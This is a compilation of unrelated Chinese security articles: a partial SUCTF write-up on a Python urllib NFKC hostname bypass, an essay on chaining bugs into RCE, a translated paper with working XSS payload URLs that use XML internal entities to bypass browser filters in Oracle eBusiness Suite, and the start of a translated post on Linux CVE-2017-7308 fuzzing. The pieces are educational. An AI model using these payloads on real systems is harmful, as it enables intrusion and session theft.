print(url)
print(getUrl2(url))
# print(getUrl(url))
# get_unicode()
可以出运行不同的结果：
在win下
file://suctf.c℆sr%2ffffffflag @111
Traceback (most recent call last):
File "1.py", line 72, in <module>
print(getUrl2(url))
File "1.py", line 45, in getUrl2
host = parse.urlparse(url).hostname
File "E:\python3\lib\urllib\parse.py", line 368, in urlparse
splitresult = urlsplit(url, scheme, allow_fragments)
File "E:\python3\lib\urllib\parse.py", line 461, in urlsplit
_checknetloc(netloc)
File "E:\python3\lib\urllib\parse.py", line 407, in _checknetloc
"characters under NFKC normalization")
ValueError: netloc 'suctf.cc/usr%2ffffffflag @111' contains invalid characters under NFKC normalization
在WSL下
/mnt/d/CTF/NUCA python3 1.py
file://suctf.c℆sr%2ffffffflag @111
success
原来没怎么分析过python的源码
但是从报错信息上可以找到，问题就出现在`python3\lib\urllib\parse.py`
于是就来简单分析了下parse.py的源码
## 源码对比
在win下是比较新的一个python，很明显对于这类漏洞已经修补
在WSL下的是一个比较就得python
使用在win下找到`E:\python3\lib\urllib\parse.py`
在WSL下找到 `/usr/lib/python3.6/urllib/parse.py`
/mnt/d/CTF/SUCTF python3
Python 3.6.8 (default, Jan 14 2019, 11:02:34)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/home/fangzhang/.local/lib/python3.6/site-packages', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']
>>>
/mnt/d/CTF/SUCTF cd /usr/lib/python3.6/urllib/
/usr/lib/python3.6/urllib
使用文本对比工具
得到一下结果：
--- E:\python3\Lib\urllib\parse.py
+++ /usr/lib/python3.6/urllib
@@ -390,21 +390,6 @@
if wdelim >= 0: # if found
delim = min(delim, wdelim) # use earliest delim position
return url[start:delim], url[delim:] # return (domain, rest)
- -def _checknetloc(netloc):
- if not netloc or netloc.isascii():
- return
- # looking for characters like \u2100 that expand to 'a/c'
- # IDNA uses NFKC equivalence, so normalize for this check
- import unicodedata
- netloc2 = unicodedata.normalize('NFKC', netloc)
- if netloc == netloc2:
- return
- _, _, netloc = netloc.rpartition('@') # anything to the left of '@' is okay
- for c in '/?#@:':
- if c in netloc2:
- raise ValueError("netloc '" + netloc2 + "' contains invalid " +
- "characters under NFKC normalization")
def urlsplit(url, scheme='', allow_fragments=True):
"""Parse a URL into 5 components:
@@ -424,6 +409,7 @@
i = url.find(':')
if i > 0:
if url[:i] == 'http': # optimize the common case
+ scheme = url[:i].lower()
url = url[i+1:]
if url[:2] == '//':
netloc, url = _splitnetloc(url, 2)
@@ -434,8 +420,7 @@
url, fragment = url.split('#', 1)
if '?' in url:
url, query = url.split('?', 1)
- _checknetloc(netloc)
- v = SplitResult('http', netloc, url, query, fragment)
+ v = SplitResult(scheme, netloc, url, query, fragment)
_parse_cache[key] = v
return _coerce_result(v)
for c in url[:i]:
@@ -458,7 +443,6 @@
url, fragment = url.split('#', 1)
if '?' in url:
url, query = url.split('?', 1)
- _checknetloc(netloc)
v = SplitResult(scheme, netloc, url, query, fragment)
_parse_cache[key] = v
return _coerce_result(v)
@@ -600,7 +584,7 @@
# if the function is never called
global _hextobyte
if _hextobyte is None:
- _hextobyte = {(a + b).encode(): bytes.fromhex(a + b)
+ _hextobyte = {(a + b).encode(): bytes([int(a + b, 16)])
for a in _hexdig for b in _hexdig}
for item in bits[1:]:
try:
@@ -750,7 +734,7 @@
_ALWAYS_SAFE = frozenset(b'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b'abcdefghijklmnopqrstuvwxyz'
b'0123456789'
- b'_.-~')
+ b'_.-')
_ALWAYS_SAFE_BYTES = bytes(_ALWAYS_SAFE)
_safe_quoters = {}
@@ -782,17 +766,14 @@
Each part of a URL, e.g. the path info, the query, etc., has a
different set of reserved characters that must be quoted.
- RFC 3986 Uniform Resource Identifiers (URI): Generic Syntax lists
+ RFC 2396 Uniform Resource Identifiers (URI): Generic Syntax lists
the following reserved characters.
reserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" |
- "$" | "," | "~"
+ "$" | ","
Each of these characters is reserved in some component of a URL,
but not necessarily in all of them.
- - Python 3.7 updates from using RFC 2396 to RFC 3986 to quote URL strings.
- Now, "~" is included in the set of reserved characters.
By default, the quote function is intended for quoting the path
section of a URL. Thus, it will not encode '/'. This character
可以明显得看出，主要是多了一个处理得函数
-def _checknetloc(netloc):
- if not netloc or netloc.isascii():
- return
- # looking for characters like \u2100 that expand to 'a/c'
- # IDNA uses NFKC equivalence, so normalize for this check
- import unicodedata
- netloc2 = unicodedata.normalize('NFKC', netloc)
- if netloc == netloc2:
- return
- _, _, netloc = netloc.rpartition('@') # anything to the left of '@' is okay
- for c in '/?#@:':
- if c in netloc2:
- raise ValueError("netloc '" + netloc2 + "' contains invalid " +
- "characters under NFKC normalization")
同时也可以看出，这次主要更新得地方。
如下对上面得代码进行分析
## 源码分析
### unicode规范化处理
如下引用一下`https://python3-cookbook.readthedocs.io`
关于unicode得规范化处理，有如下说明
unicode的规范化格式有几种，每种的处理方式有些不一样。
NFC
Unicode 规范化格式 C。如果未指定 normalization-type，那么会执行 Unicode 规范化。
NFD
Unicode 规范化格式 D。
NFKC
Unicode 规范化格式 KC。
NFKD
Unicode 规范化格式 KD。
在Unicode中，某些字符能够用多个合法的编码表示。为了说明，考虑下面的这个例子：
>>> s1 = 'Spicy Jalape\u00f1o'
>>> s2 = 'Spicy Jalapen\u0303o'
>>> s1
'Spicy Jalapeño'
>>> s2
'Spicy Jalapeño'
>>> s1 == s2
False
>>> len(s1)
14
>>> len(s2)
15
>>>
这里的文本”Spicy Jalapeño”使用了两种形式来表示。
第一种使用整体字符”ñ”(U+00F1)，第二种使用拉丁字母”n”后面跟一个”~”的组合字符(U+0303)。
在需要比较字符串的程序中使用字符的多种表示会产生问题。
为了修正这个问题，你可以使用unicodedata模块先将文本标准化：
>>> import unicodedata
>>> t1 = unicodedata.normalize('NFC', s1)
>>> t2 = unicodedata.normalize('NFC', s2)
>>> t1 == t2
True
>>> print(ascii(t1))
'Spicy Jalape\xf1o'
>>> t3 = unicodedata.normalize('NFD', s1)
>>> t4 = unicodedata.normalize('NFD', s2)
>>> t3 == t4
True
>>> print(ascii(t3))
'Spicy Jalapen\u0303o'
>>>
`normalize()` 第一个参数指定字符串标准化的方式。
NFC表示字符应该是整体组成(比如可能的话就使用单一编码)，而NFD表示字符应该分解为多个组合字符表示。
Python同样支持扩展的标准化形式NFKC和NFKD，它们在处理某些字符的时候增加了额外的兼容特性。比如：
>>> s = '\ufb01' # A single character
>>> s
'fi'
>>> unicodedata.normalize('NFD', s)
'fi'
# Notice how the combined letters are broken apart here
>>> unicodedata.normalize('NFKD', s)
'fi'
>>> unicodedata.normalize('NFKC', s)
'fi'
>>>
### 漏洞分析
根据以上分析
主要的修复方式就是通过对url中的unicode进行规范化处理了，现在通过具体的例子来分析一哈。
import unicodedata
netloc2 = unicodedata.normalize('NFKC', netloc)
if netloc == netloc2:
return
用我们的WSL的环境(也就是没有打上补丁的环境)进行测试
>>> from urllib.parse import urlsplit
>>> u = "https://example.com\[email protected]"
#不处理的结果
>>> SplitResult(scheme='https', netloc='example.com＃@bing.com', path='', query='', fragment='')
#规范化处理的结果
>>>import unicodedata
>>>u2 = unicodedata.normalize('NFKC', u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
#特殊编码处理的结果
>>>u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
以上就是漏洞的原理，不同的编码经处理之后，经过urlsplit() 处理之后，得到的的netloc是不一样的
> IDNA（Internationalizing Domain Names in
> Applications）IDNA是一种以标准方式处理ASCII以外字符的一种机制，它从unicode中提取字符，并允许非ASCII码字符以允许使用的ASCII字符表示。
>
>
> unicode转ASCII发生在IDNA中的TOASCII操作中。如果能通过TOASCII转换时，将会以正常的字符呈现。而如果不能通过TOASCII转换时，就会使用“ACE标签”，“ACE”标签使输入的域名能转化为ASCII码
所以在新的urlsplit函数中会增加一个判断，如果规范化处理的结果和原来的结果一样，才能返回真确的值。
### 题目分析
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
根据以上分析，题目就比较简单了，只需要满足hostname`encode('idna').decode('utf-8'))`
处理之前不是`suctf.cc` 处理之后是`suctf.cc`就好了
## 后记
漏洞不难理解，只是觉得应该记录一下
看到了一句话,摘自某位大佬：
> 如果翻译器对程序进行了彻底的分析而非某种机械的变换, 而且生成的中间程序与源程序之间已经没有很强的相似性, 我们就认为这个语言是编译的.
> 彻底的分析和非平凡的变换, 是编译方式的标志性特征.
>
> 如果你对知识进行了彻底的分析而非某种机械的套弄, 在你脑中生成的概念与生硬的文字之间已经没有很强的相似性, 我们就认为这个概念是被理解的.
> 彻底的分析和非凡的变换, 是获得真知的标志性特征.
与君共勉。
## 参考链接
参考很多链接，不过我觉得，遇到问题看官方的文档和源码更有效果
<https://xz.aliyun.com/t/6042#toc-29>
<https://www.anquanke.com/post/id/184858#h3-13>
<https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf>
<https://bugs.python.org/issue36216>
<https://python3-cookbook.readthedocs.io/zh_CN/latest/c02/p09_normalize_unicode_text_to_regexp.html> | 社区文章 |
**作者：漂亮鼠
原文链接：<https://mp.weixin.qq.com/s/3phgI8yaPns3Dx5oSkdeYg>**
## 0x00 引言
这些年看到几个很有灵性的年轻人从一个啥也不懂的脚本小子一年时间就成长为业内漏洞挖掘机，一路交流下来也有不少的想法。当然也有看到一些年轻人好像一直很努力的在学，但是半年一年了，学了又好像没有学还是停留在复现漏洞用脚本的水平。这一上一下的差距一直令我困惑不已，是真的天赋问题？答案肯定是NO的，因为我一直认为天赋只会造成时间效率差距，不会在一个有手就行的地方带来门槛。就在最近p??直播了一场，也看到不少弹幕的同学在问：“我学了好久java还是挖不到洞，到底要学到什么程度才能挖0day呢？”这么一看这个问题是一个共性的问题，有必要深度解读一下如何破局。我之前有写过关于如何学习的[文章](https://t.zsxq.com/EAMb2V3),也写过[挖洞思维建设](https://t.zsxq.com/3jQ7Y3B),如果这两篇没有看过的话可以提前看一看，一些学习方法和思维模型在这里面都提过了比如设置checklist、项目管理、复盘等就不再说了。
## 0x01 明确观点
今天和群友也讨论了下这个问题，大家都有提到一些点：
1. 怕麻烦，觉得这个环境麻烦，那个操作麻烦
2. 怕代码，不爱动手，害怕动手
3. 机械式复现，无论是打payload，还是动手跟着调试，都处于一种机械复现
4. 缺少自信，认为rce很高端
5. 沉迷学习，缺少实践
上面这些点确实都是很多同学的毛病，可能还会有别的点，如果你真的有这些毛病就赶紧改掉。除了改掉毛病以外，还要树立以下几个核心观念：
1. 挖洞有手就行，不一定需要很高超的技巧（不是开玩笑，认真理解这句话记在心里）
2. 挖洞需要学习基础，但不能陷入到无限理论中
3. 挖洞需要的不是天赋，需要的是专注、勇气、自信和努力
当然如果你改掉了还是挖不到，那么你就可以继续往下看了。
## 0x02 为什么漏洞复现很多却挖不到洞
先说一下漏洞挖掘和漏洞复现这两个流程在模式上的根本区别。当你需要去复现一个漏洞的时候，你获得了几个前提：
1. xxx组件存在xxx漏洞这个信息提示
2. 你可能有了一些泄漏部分的payload截图
3. 你可能有了完整的复现文章
在这些前提下，你的目标会变得很明确，随着条件的完善复现的难度越来越低，当已经有完整复现文章的时候，你甚至不需要自己去思考跟着操作即可。那么你在复现的时候如果不进行反思和归纳就会沦为F8工具人，整个流程下来你只是知道了这回事。如果你长期从事漏洞复现，然后第一次接到一个漏洞挖掘项目的时候会发生什么？你失去了前面漏洞复现时候所说的几个前提条件，失去了这些条件给你框定的明确路径后，由于你从来没有真正的自我决策过所以你陷入了无法决策的思维恐慌中。在一个真正挖掘项目里，你需要独立的去规划自己的工作流程，对每一次测试方向做决策，如果你缺少这种能力就应该从复现工作中进行总结归纳锻炼自己这种思维。
## 0x03 漏洞利用的逻辑
我没学过什么程序分析或者乱七八糟的理论基础，我根据我自己的理解定义几个概念吧。
1. 可控输入，大家喜欢叫source，我可以控制的输入点
2. 目标输出，大家喜欢叫sink，我在意的输出点
3. 程序机制，这个简单来说就是处于输入与输出之间对整个数据进行各种花式变换和转移的固有程序逻辑或者是系统机制
4. trick，一些技巧类的集合，比如绕沙箱、利用技巧绕过过滤、溢出到执行命令的利用等
那么一个简单漏洞的利用可以看成这么一个图
这里的输入1是我们可控的输入，机制1是整个程序流转的过程，输出1比如是一个命令执行函数，那么我们就可以注入命令做到RCE了。这很简单没什么好说的，那么复杂一点呢？
这个图里输入1依旧是用户侧可控的输入，输出3可以认为是最终的命令执行函数，那么中间的输出1可能是写配置文件，输出2可能是发送请求到别的端口，通过机制4和机制5将这些中间输出进行转化与搬运，最终把几个点串联起来做到输入1到输出3的命令执行。上面这个图主要还是关注一个数据传播和转化，那么再加上各个流程中可能会用到的trick就最终得到了一个完整的利用
## 0x04 技能分类
有了整体的利用思路后，我们需要对漏洞进行一定的分类
漏洞类型 | 分类标签 | 效果
---|---|---
SQL注入 | 代码执行 | 执行部分SQL语句，可能造成命令执行、数据获取、读写文件
XSS | 代码执行 | 有限或无限的Javascript代码执行，可能获取cookie凭证
命令注入 | 命令执行 | 直接拼接命令执行系统命令
反序列化 | 代码执行 | 有限或无限的执行java代码，或根据gadget的不同执行各类操作，比如读写文件、发起请求等
SSRF | 网络请求 | 有限制或无限制的发起各类请求转发，将部分可控数据通过网络进行转发
加密缺陷 | 伪造 | 加解密的问题可以统一归为各类伪造，包括伪造凭证、数据包签名等
任意读 | 敏感信息获取 | 读取各类敏感信息
任意写 | 写文件 | 写各种文件，通常配合系统机制或者框架机制，任意写文件大概率可以串代码执行或者命令执行
未授权访问 | 权限校验缺失 | 权限校验缺失，可以访问各类需要鉴权的接口
内存溢出 | 代码执行 | 内存溢出后如果利用成功通常可以造成任意代码执行、改变程序判断条件
当然漏洞类型不止这些，这里只是示意的举了例子，大家可以参考owasp的所有漏洞类型然后列一个类似的表格，把每一个类型的漏洞所能达到的效果给列举一下。列举完成后我们就可以开始组合RCE的combo了，比如常见的连招：
1. 未授权访问+命令执行
2. 未授权访问+反序列化
3. 未授权访问+任意写+系统机制（PHP的webshell或者Linux的crontab）
4. 未授权访问+SSRF+本地进程未授权+命令注入
5. 加密缺陷可构造凭证+后台命令执行功能
6. 未授权访问+SSRF+内存溢出
还有一些特定场景的连招：
1. XSS+electron
2. 未授权+fastjson
3. 人工点击+XSS+electron
当然不止这些combo，你能想象到的组合都可以试一试，一般来说要实现RCE，最后一个终结技都是要跟上代码执行或者命令执行或者是写文件的漏洞类别，而在终结技前面的漏洞类别通常选各类未授权以及各类数据搬运如SSRF，甚至于XXE也能作为SSRF来用。这也是为什么我们需要把每种漏洞类型所能造成的效果都罗列一下，这种罗列有助于组合combo。（一旦你思路打开，受限制的反序列化也可以是一种SSRF）
在我们罗列各类漏洞类型和他们所能造成的影响时，我们不应该过多的关注自己是否实际掌握具体的利用方式，比如学web的通常不懂内存溢出，那么他们可能就不会考虑内存溢出作为其中一个RCE的终结技。但实际上，你就算是不会，你在寻找整个利用链路的时候都应该把它考虑进去，如果链路能走通再考虑实际的利用。
## 0x05 决策路径
有了前面的铺垫，我们在拿到一个全新的项目的时候就可以开始为RCE做规划了。可以分为几个步骤：
1. 搜集信息，对功能和三方组件进行了解，大致对可能的combo有个预测
2. 根据预测的combo搜寻对应的sink，找出几个可能的独立的漏洞片段
3. 尝试进行简单的片段串联，如果能够快速串联那么很有可能就已经RCE了
4. 如果几个漏洞片段无法串联，那么需要深入学习整个程序的内在运作机制包括所在系统的一些机制
5. 利用各种机制曲线的将几个漏洞片段串联到一起
6. 串联完毕后，深入到解决具体的细节问题，比如利用一些trick来绕过过滤、穿透沙箱等
7. 期间可以配合黑盒测试的一些方式来进行调试，避免纯白盒的单步跟进
8. 最终完成RCE
## 0x06 学习别人RCE的时候我们关注什么
我们学习各种漏洞复现技巧的时候，我们应该关注什么？根据我前面说的，我们应该重点看这个文章里运用了哪些技巧，比如如何绕过过滤、用了哪些偏门gadget。其次关注这个产品、这个组件它的整体框架逻辑是什么样的，他有哪些有趣的功能机制是可以拿来串联链。我们可以忽略什么？繁琐的各种函数跟进，根本毫无意义，随便看看就行了，除非你也专门研究这个产品的0day挖掘那么你可以细致的看一看，如果你想用它来挖别的产品那么你可以直接忽略掉很多没有用的函数跟进，只看那些对数据有一定复杂过滤操作的典型函数就行了。
## 0x07 结语
由于是半夜写的，有点困写的有点乱，如果展开讲其实还有很多其他经验可以再讲讲，这里重要的还是3、4、5章所讲的几个概念，看过了自己再去实施就行了。不要总是想着基础差就挖不到，我之前复现jumpserver和grafana的时候，我压根就不懂Go语法，就纯粹的按照上述的方法论来走，即使我不懂Go，我知道我需要找到什么、需要去串联什么，剩下的不过是百度百度看不懂的语法罢了。总之就是一句话：
**just do it**
* * * | 社区文章 |
来源：[BypassingXSSFiltersusingXMLInternalEntities](http://www.davidlitchfield.com/BypassingXSSFiltersusingXMLInternalEntities.pdf)
原作者： **DavidLitchfield ([email protected])**
译： **Holic (知道创宇404安全实验室)**
tl;dr
若 Web 应用在后端处理了一些 XML 文件，而且存在 XSS 漏洞的话，那么或许能使用 XML 实体来绕过常用 web 浏览器的 XSS
过滤器，比如Chrome， IE 和 Safari 浏览器。同样在 Firefox 浏览器下依然有效，不过显然它没有 XSS 过滤器。
#### 绕过常用浏览器的 XSS 过滤器
Oracle's eBusiness Suite 12.x 以及更早版本中的 BneApplicationService servlet
存在跨站脚本漏洞，这个最初与外部 XML 实体漏洞（XXE）同时被发现。
如果请求以下的URL：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=XXX
将会得到如下响应：
> **The following error has occurred**
>
> Exception Name: oracle.apps.bne.exception.BneFatalException
> -oracle.apps.bne.exception.BneFatalException: XML parse error in file at
> line 1, character 1.Log File Bookmark: 392699
那么我们可以修改请求把它包装在一个 XML 标签中。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<FOO>XXXXX</FOO>
现在我们会得到以下响应：
> **he following error has occurred**
>
> Exception Name: oracle.apps.bne.exception.BneFatalException -> java.lang.ClassCastException:oracle.xml.parser.v2.XMLText cannot be cast to
> oracle.xml.parser.v2.XMLElementLog File Bookmark: 602808
因此我们需要弄清楚在后端的类中发生了什么。如果看源代码的话，我们将会发现在`createBodyBneStyle`方法中如下内容：
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);
XMLElement localXMLElement1 =
(XMLElement)localXMLDocument.getDocumentElement();
NodeList localNodeList = localXMLElement1.getChildNodes();
for (int i = 0; i < localNodeList.getLength(); i++)
{
String str1 = "";
String str2 = "";
String str3 = "";
String str4 = null;
String str5 = null;
Node localNode = null;
XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
localNode = localNamedNodeMap.getNamedItem("bne:type");
if (localNode != null) {
str1 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem( b"ne:text "); if (localNode != null) {
str2 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:value");
if (localNode != null) {
str3 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem( b"ne:cause "); if (localNode != null) {
str4 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:action");
if (localNode != null) {
str5 = localNode.getNodeValue();
}
if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
{
localStringBuffer.append("<p><b>" + str2 + "</b></p>"); localStringBuffer.append("<p>" + str4 + "</p>");
我们可以看到，如果我们设置 `bne:text`的值不是词'data‘，那么它和
`bne:cause`的值将会返回给浏览器。这便允许我们创建一条不存在解析错误的查询字符串：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo"%
20bne:text="ABCDEF" bne:cause="GHIJKL"></bne:a ></message>
我们马上能看到这是很容易产生 XSS 的。我们简单地试一下；我们发送 `<IMG SRC=/x onerror=alert(1)>` 看看发生了什么：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="<IMG SRC=/x onerror=alert(1)>"></bne:a></message>
> **Reserved program word`<message><bne:a xmlns:bne="foo"
> bne:text="ABCDEF"bne:cause="<I ...` detected.**
>
> Press the Back button and remove the reserved program word. Contact your
> system administrator if thevalue cannot be changed
OK，所以 BneApplicationService 是有我们需要绕过的内置 XSS 过滤器的。回想一下我们最初找到的XXE处理漏洞。尝试使用外部 XML
实体（测试失败，因此并不受XXE攻击影响）之后，它启发我使用内部XML实体绕过 XSS
过滤器。这将会使得我们通过分解成占位符之后重建的方法对攻击进行伪装。但我们先看看什么是不被允许的。我们先去掉第一个左尖括号：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="IMG SRC=/x onerror= alert(1)>"></bne:a></message>
Ok, 看来可行。因此绕过 BneApplicationService 内置的过滤器，我们仅需要内部 XML
实体生成左尖括号即可，因此我们天津一个内部实体叫 xxx ，分配给它尖括号的值:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"<">]>
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml= <?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx " <">]>% 3Cmessage><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="&xxx;IMG SRC=/x on error=alert(1)>"></bne:a></message>
我们的 `alert(1)`并没有执行，可想而知，因为 Chrome 的XSS过滤器发现了攻击行为：
那么我们必须绕过 Chrome 的 XSS 过滤器了。我们同样也可以使用内部XML实体来解决。我们创建 `IMG`,
`SRC`和error中的`one`实体。这些实体会被 web 服务器 的XML 解析器处理重组，但不会被 Chrome 当做反射型 XSS 攻击进行处理。
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<?xml version="1.0" encoding="UT F-8"?><!DOCTYPE DWL [<!ENTITY xxx "<% 22><! ENTITY yyy "IMG"><!ENTITY zzz "SRC "><!ENTITY ppp "one"% 3E]><message><bne: a xmlns:bne="foo" bne:text="ABCDEF" bne:caus e="&xxx;&yyy; &zzz;=/x &ppp;rror=alert(1)>"></bne:a ></message>
在以下浏览器测试成功：Firefox version 47, Chrome 51, IE 11, Safari 9.1.1
* * * | 社区文章 |
# 【技术分享】如何通过数据包套接字攻击Linux内核
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.hk
原文地址：<https://googleprojectzero.blogspot.hk/2017/05/exploiting-linux-kernel-via-packet.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
最近我花了一些时间使用[
**syzkaller**](https://github.com/google/syzkaller)工具对Linux内核中与网络有关的接口进行了模糊测试（fuzz）。除了最近发现的[
**DCCP套接字漏洞**](http://seclists.org/oss-sec/2017/q1/471)之外，我还发现了另一个漏洞，该漏洞位于数据包套接字（packet
sockets）中。在这篇文章中，我会向大家介绍这个漏洞的发现过程，以及我们如何[
**利用这个漏洞**](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308)来提升权限。
该漏洞本身（[ **CVE-2017-7308**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308)）是一个符号类型漏洞，会导致堆越界（heap-out-of-bounds）写入问题。在启用TPACKET_V3版本的环形缓冲区（ring
buffer）条件下，我们可以通过为AF_PACKET套接字的PACKET_RX_RING选项提供特定的参数来触发这个漏洞。漏洞触发成功后，在“net/packet/af_packet.c”源码中，“packet_set_ring()”函数中的完整性检查过程就会被绕过，最终导致越界访问。“packet_set_ring()”函数中的完整性检查过程如下所示：
4207 if (po->tp_version >= TPACKET_V3 &&
4208 (int)(req->tp_block_size - 4209 BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
4210 goto out;
2011年8月19日，这个bug与TPACKET_V3的实现一起提交到Github上编号为[
**f6fb8f10**](https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a)的commit（“af-packet：TPACKET_V3灵活缓冲区的实现”）。2014年8月15日，在编号为[
**dc808110**](https://github.com/torvalds/linux/commit/dc808110bb62b64a448696ecac3938902c92e1ab)的commit中，人们尝试通过添加额外的检查流程来修复这个bug，但根据本文的分析，我们发现这个修复过程并不完美。这个bug最终于2017年3月29日在编号为2b6867c2的[
**commit**](https://github.com/torvalds/linux/commit/2b6867c2ce76c596676bec7d2d525af525fdc6e2)中被修复。
如果Linux内核启用了AF_PACKET套接字选项（CONFIG_PACKET=y），那么它就会受到这个漏洞影响，而大多数Linux分发版内核都启用了该选项。漏洞利用需要具备CAP_NET_RAW权限，才能创建这类套接字。然而，如果启用了用户命名空间（user
namespace，通过CONFIG_USER_NS=y实现），我们就可能在用户命名空间中使用非特权用户来利用这个漏洞。
由于数据包套接字是Linux内核中广泛应用的一个功能，因此这个漏洞会影响包括Ubuntu、Android在内的许多流行的Linux发行版。需要注意的是，Android中除了某些特权组件之外，明确禁止任何未受信代码访问AF_PACKET套接字。新版的Ubuntu内核已经发布，此外Android也计划在7月份推出更新。
**二、Syzkaller简介**
我使用syzkaller以及KASAN工具发现了这个bug。Syzkaller是一款针对Linux系统调用的覆盖型模糊测试器，KASAN是一款动态内存错误检测器。我会向大家介绍syzkaller的工作原理，以及如何使用该工具对某些内核接口进行模糊测试，方便大家掌握这个工具。
让我们先来看看syzkaller模糊测试器如何工作。在为每个系统调用（syscall）手动编写描述模板的基础上，syzkaller可以（按照syscall的调用顺序）生成随机的程序。这个模糊测试器会运行这些程序，收集每个程序的代码覆盖情况。通过代码覆盖信息，syzkaller会保存一个程序语料库，触发内核中的不同代码路径。每当新的程序触发了一条新的代码路径（也就是说给出了新的覆盖信息），syzkaller就会将其添加到语料库中。除了生成全新的程序之外，syzkaller也可以更改语料库中的已有程序。
Syzkaller最好搭配动态错误检测器一起使用，如KASAN（从4.0版开始就可以检测诸如越界访问（out-of-bounds）以及释放后重用（use-after-free）之类的内存错误）、KMSAN（可以检查未初始化内存使用错误，原型版本刚刚发布）或者KTSAN（可以检测数据冲突（data
race）错误，原型版本已发布）之类的动态错误检测器都可以。Syzkaller可以对内核进行压力测试，执行各种有趣的代码路径，然后错误检测器就能检测并报告对应的错误。
使用syzkaller查找错误的通常流程如下：
1、确保已正确安装syzkaller。可以参考使用说明以及wiki中的详细安装步骤。
2、为待测试的特定内核接口编写模板描述。
3、在syzkaller选项中，指定该接口具体使用的系统调用。
4、运行syzkaller，直到它发现错误为止。通常情况下，如果该接口之前尚未使用syzkaller进行测试，那么这个过程会比较快。
Syzkaller自己有一套声明语言，用来描述系统调用模板。我们可以参考sys/sys.txt中给出的样例，也可以参考sys/README.md给出的语法信息。以下内容截取自我所使用的syzkaller描述信息，用来发现AF_PACKET套接字上的错误：
resource sock_packet[sock]
define ETH_P_ALL_BE htons(ETH_P_ALL)
socket$packet(domain const[AF_PACKET], type flags[packet_socket_type], proto const[ETH_P_ALL_BE]) sock_packet
packet_socket_type = SOCK_RAW, SOCK_DGRAM
setsockopt$packet_rx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_RX_RING], optval ptr[in, tpacket_req_u], optlen len[optval])
setsockopt$packet_tx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_TX_RING], optval ptr[in, tpacket_req_u], optlen len[optval])
tpacket_req {
tp_block_size int32
tp_block_nr int32
tp_frame_size int32
tp_frame_nr int32
}
tpacket_req3 {
tp_block_size int32
tp_block_nr int32
tp_frame_size int32
tp_frame_nr int32
tp_retire_blk_tov int32
tp_sizeof_priv int32
tp_feature_req_word int32
}
tpacket_req_u [
req tpacket_req
req3 tpacket_req3
] [varlen]
大多数语法我们一看就能明白。首先，我们声明了一个新的sock_packet类型。这种类型继承自现有的sock类型。这样一来，对于使用sock类型作为参数的系统调用而言，syzkaller也会在sock_packet类型的套接字上使用这种系统调用。
在这之后，我们声明了一个新的系统调用：socket$packet。“$”符号之前的部分作用是告诉syzkaller应该使用哪种系统调用，而“$”符号之后的部分用来区分同一种系统调用的不同类型。这种方式在处理类似ioctl的系统调用时非常有用。“socket$packet”系统调用会返回一个sock_packet套接字。
